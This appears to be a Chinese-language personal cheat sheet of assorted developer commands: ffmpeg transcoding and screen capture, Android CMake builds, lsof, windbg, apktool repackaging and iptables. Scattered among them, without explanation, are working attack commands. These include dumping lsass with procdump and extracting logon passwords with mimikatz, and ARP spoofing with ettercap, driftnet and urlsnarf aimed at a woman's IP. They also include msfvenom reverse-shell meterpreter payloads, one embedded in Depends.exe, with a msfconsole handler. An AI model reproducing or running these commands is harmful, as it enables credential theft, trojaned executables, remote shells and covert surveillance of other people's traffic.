美化输出xml或json

xml

1
2
3
from xml.dom.minidom import *
with open('d:/xml.txt', 'r') as f:
    print(parseString(f.read()).toprettyxml())

json

1
python -m json.tool d:\json.txt

下载文件

1
2
3
4
import requests
resp = requests.get('http://file.url', headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'})
with open("aa.dat", "wb") as f:
    f.write(resp.content)

android cmake命令行

ninja这个工具是google的cmake特有的一个工具,不能用CMake官网下载安装的cmake编译安卓程序。

1
2
3
4
5
6
7
8
9
10
set SDK_PATH=E:\euhat\android-sdk
set path=%SDK_PATH%\cmake\3.10.2.4988404\bin;%path%
 
cd app
mkdir manBuild
cd manBuild
 
cmake -DANDROID_ABI=armeabi-v7a -DANDROID_STL=c++_shared -DBUILD_SHARED_LIBS=ON -DCMAKE_C_FLAGS="-s" -DANDROID_PLATFORM=android-27 -DCMAKE_BUILD_TYPE=Debug -DANDROID_NDK=%SDK_PATH%\ndk-bundle -DCMAKE_TOOLCHAIN_FILE=%SDK_PATH%\ndk-bundle\build\cmake\android.toolchain.cmake -DCMAKE_GENERATOR=Ninja ..
 
ninja

refer to: https://bbs.csdn.net/topics/392257691?list=lz

视频在微信手机端看不了

比如用ffmpeg在电脑端录的mp4视频,拖到微信电脑端是可以看的,但打开微信手机端就不动了,只能看到第一帧。

解决办法是先将mp4格式转为mpg格式,再将mpg格式转为mp4格式,最后得到的mp4就可在微信手机端播放了:

1
2
ffmpeg.exe -i old.mp4 temp.mpg
ffmpeg.exe -i temp.mpg new.mp4

附ffmpeg在windows下录屏方法:

1
ffmpeg -f gdigrab -framerate 30 -offset_x 655 -offset_y 517 -video_size 511x374 -i desktop capture.mpg

ffmpeg在ubuntu下录屏方法:

1
ffmpeg -framerate 25 -f x11grab -s 800x600 -i :0.0+100,200 capture.mp4

转码为mp4的方法:

1
2
3
ffmpeg.exe -ss 5 -sseof 5 -i %1 -vf scale=-2:600 -y output.mp4
 
rem ffmpeg.exe -ss 5 -sseof 5 -i %1 -vf "pad=ceil(iw/2)*2:ceil(ih/2)*2" output.mp4

refer to:
https://github.com/GyanD/codexffmpeg/releases/tag/2021-12-02-git-4a6aece703
https://www.xzcblog.com/post-173.html

用curl发送json请求

以下是json.bat的内容:

1
2
3
4
set /P json=<%1
set result=%json:"=\"%
curl -H "Content-Type:application/json" -X POST -d %result% http://you.url
pause

然后把只含json内容的文件拖到json.bat上面运行就可以了。

注意1,我测试时下载的curl命令行工具是不支持json串中包含空格的,这里只作测试用途,空格先都去掉。
注意2,json.bat第2行包含了Windows批处理脚本中,往字符串里插入字符的方法,此处是把json字符串中每一个双引号前插入一个反斜杠。

linux获取窗口对应进程

在图形界面下打开一个终端,输入命令:

xwininfo -all

再点击想要查询的窗口,会打印很多信息,其中Window manager hints下会有Process id,用这个pid就可找到进程对应的执行文件路径。

-fprofile-arcs -ftest-coverage
ps aux | sort -k2rn | head -n 3

caffe gemv
https://blog.csdn.net/langb2014/article/details/50986678

sed
https://www.toutiao.com/a6738939489579696651/

grep
https://www.toutiao.com/a6738675495363150344/

lsof
lsof cc.txt 显示开启文件cc.txt的进程
lsof -i :22 知道22端口被哪个进程占用
lsof -c a.out 显示a.out进程现在打开的文件
lsof -g gid 显示归属gid的进程情况
lsof -n 不将IP转换为hostname,缺省是不加上-n参数
lsof -p 12 看进程号为12的进程打开了哪些文件
lsof -u username 查看用户打开哪些文件
lsof -i @192.168.1.111 查看远程已打开的网络连接(连接到192.168.1.111)
lsof -i tcp@192.168.1.55 -r

fuser -k /mnt/test
umount /mnt/test

1
2
3
4
5
6
::chcp 65001
for /f "tokens=1,2 usebackq delims=." %%a in (`dir /o:n /b`) do (
	if not "%%a.%%b" == "%%a." (
		echo ^<%%a^>-[%%b]	
	)
)
1
2
3
body * {
 outline: 1px solid red
}

document.designMode='on'

VAR_A="hello, world, hello, me"
echo ${#VAR_A}
echo ${VAR_A:1:4}
echo ${VAR_A/hello/yes}
echo ${VAR_A//hello/yes}

# objdump -d c.elf | grep -A 2 function2
000084e8 <_Z9function2v>:
84e8: b580 push {r7, lr}
84ea: af00 add r7, sp, #0
# addr2line -e c.elf 84e8
testB/c.cpp:12
# nm c.elf | grep -Ei "function|main|globalvar"
00011028 D globalvar
U __libc_start_main@@GLIBC_2.4
00008500 T main
000084d0 T _Z9function1v
000084e8 T _Z9function2v

# nc 192.168.1.123 80
GET / HTTP/1.1

watch -d=cumulative 'ls -rtlh | tail'

exec 2>/tmp/run.log
exec 1>&2
set -x

for /r %i in (*.dll) do echo "%i"

apk解包并二次封装

  1. 解包,从网上下载apktool.jar后执行
    1
    
    java -jar apktool.jar d eye_debug.apk
  2. 替换eye_debug文件夹的文件。
  3. 封包

    1
    
    java -jar apktool.jar b eye_debug -o eye_nosign.apk
  4. 签名

    1
    2
    3
    4
    5
    6
    7
    
    del eye_signed.apk
     
    set PATH=%PATH%;C:\Program Files\Java\jdk1.8.0_65\bin
     
    rem keytool -genkey -keystore bm.keystore -alias bm -keyalg RSA -validity 10000
     
    jarsigner -verbose -keystore bm.keystore -signedjar eye_signed.apk eye_nosign.apk bm

ffmpeg命令收集

转码
ffmpeg.exe -i %1 -vcodec h264 -s 1920x1080 -g 10 output.avi

转格式
ffmpeg.exe -i %1 -vcodec copy output.avi

改码率
ffmpeg -i in.avi -b 512K out.mp4

改文件大小
ffmpeg -i input.avi -fs 10MB output.mp4

看GOP
ffprobe.exe -show_frames 62_g10.avi | grep key_frame > 62_g10_k.txt
ffprobe.exe -show_frames 62_g10.avi | grep pict_type > 62_g10.txt
ffprobe.exe -show_frames -of xml sample.mp4 > probe.xml

只允许67访问
iptables -I INPUT -p tcp --dport 22 -j DROP; iptables -I INPUT -s 192.168.1.67 -p tcp --dport 22 -j ACCEPT
iptables-save

ssh与redis
https://www.toutiao.com/a6649866429325640205/

深度强化学习
https://github.com/keon/deep-q-learning
https://www.toutiao.com/a6664790347987550733/

MFC子窗口和父窗口
https://www.cnblogs.com/BeyondTechnology/archive/2011/03/25/1995934.html

procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
https://www.toutiao.com/a6674094119448478220/

基于文件过滤驱动的透明加密那点事儿
https://blog.csdn.net/orbit/article/details/9907335

1
2
3
4
5
6
#include <mcheck.h>
void mtrace(void);
void muntrace(void);
MALLOC_TRACE=out.log ./a.out
LD_DEBUG=help ./a.out
mtrace a.out out.log

https://blog.csdn.net/tsvico/article/details/79248788
echo 1 > /proc/sys/net/ipv4/ip_forward
zenmap
ettercap -G
女神的IP设置为目标1,路由器的IP设置为目标2
driftnet -i wlan0
urlsnarf -i wlan0
ufw disable
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.69 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00' -x Depends.exe -f exe -o MyDepends2.exe
msfconsole
use exploits/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.69
run
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.37 lport=4444 -f exe -o shell_stageless.exe

bat脚本获取当前文件所在目录
https://blog.csdn.net/tsvico/article/details/78050884

windbg
SRV*c:\temp*http://msdl.microsoft.com/download/symbols
!analyze -v
.load wow64exts
!sw
!heap –x 00ca3480
ub 0118188e L20
~2 s
k
dv
x MyModule!MyClass*
dps 014cb558
dt /b this
s -d 0 L?80000000 0x00cd5740
dt 0029f8b8 impClass
s -u 10000 L8000000 "hello"
!address 0728988a
.writemem d:\dump.txt 07288600 L2000
kdbgctrl -db
kdbgctrl -e
kd -kl
.reload
dt _DRIVER_OBJECT
u nt!ZwOpenKey
!process 0 0
dt nt!_eprocess
!irpfind
!pcr

二进制编辑
vim -b datafile
:%!xxd
R
:%!xxd -r
isatap Teredo

ulimit -c unlimited
echo "/tmp/core-%e-%p" > /proc/sys/kernel/core_pattern

/verbose:lib

将视频文件变成RTSP流服务

http://ffbinaries.com/downloads下载ffserver到linux系统,

制作server.cfg文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
RTSPPort 5454
BindAddress 0.0.0.0
RTSPBindAddress 0.0.0.0
MaxHTTPConnections 2000
MaxClients 1000
MaxBandwidth 30000
CustomLog -
NoDaemon
#NoDefaults
 
<Stream test.mp4>
File "/home/sdb/work/stream/test.mp4"
Format rtp
</Stream>

命令行运行

1
./ffserver -f server.cfg

这样,任何地方,只要能连接到此linux系统,其IP地址为192.168.1.32,都可以播放

1
rtsp://192.168.1.32:5454/test.mp4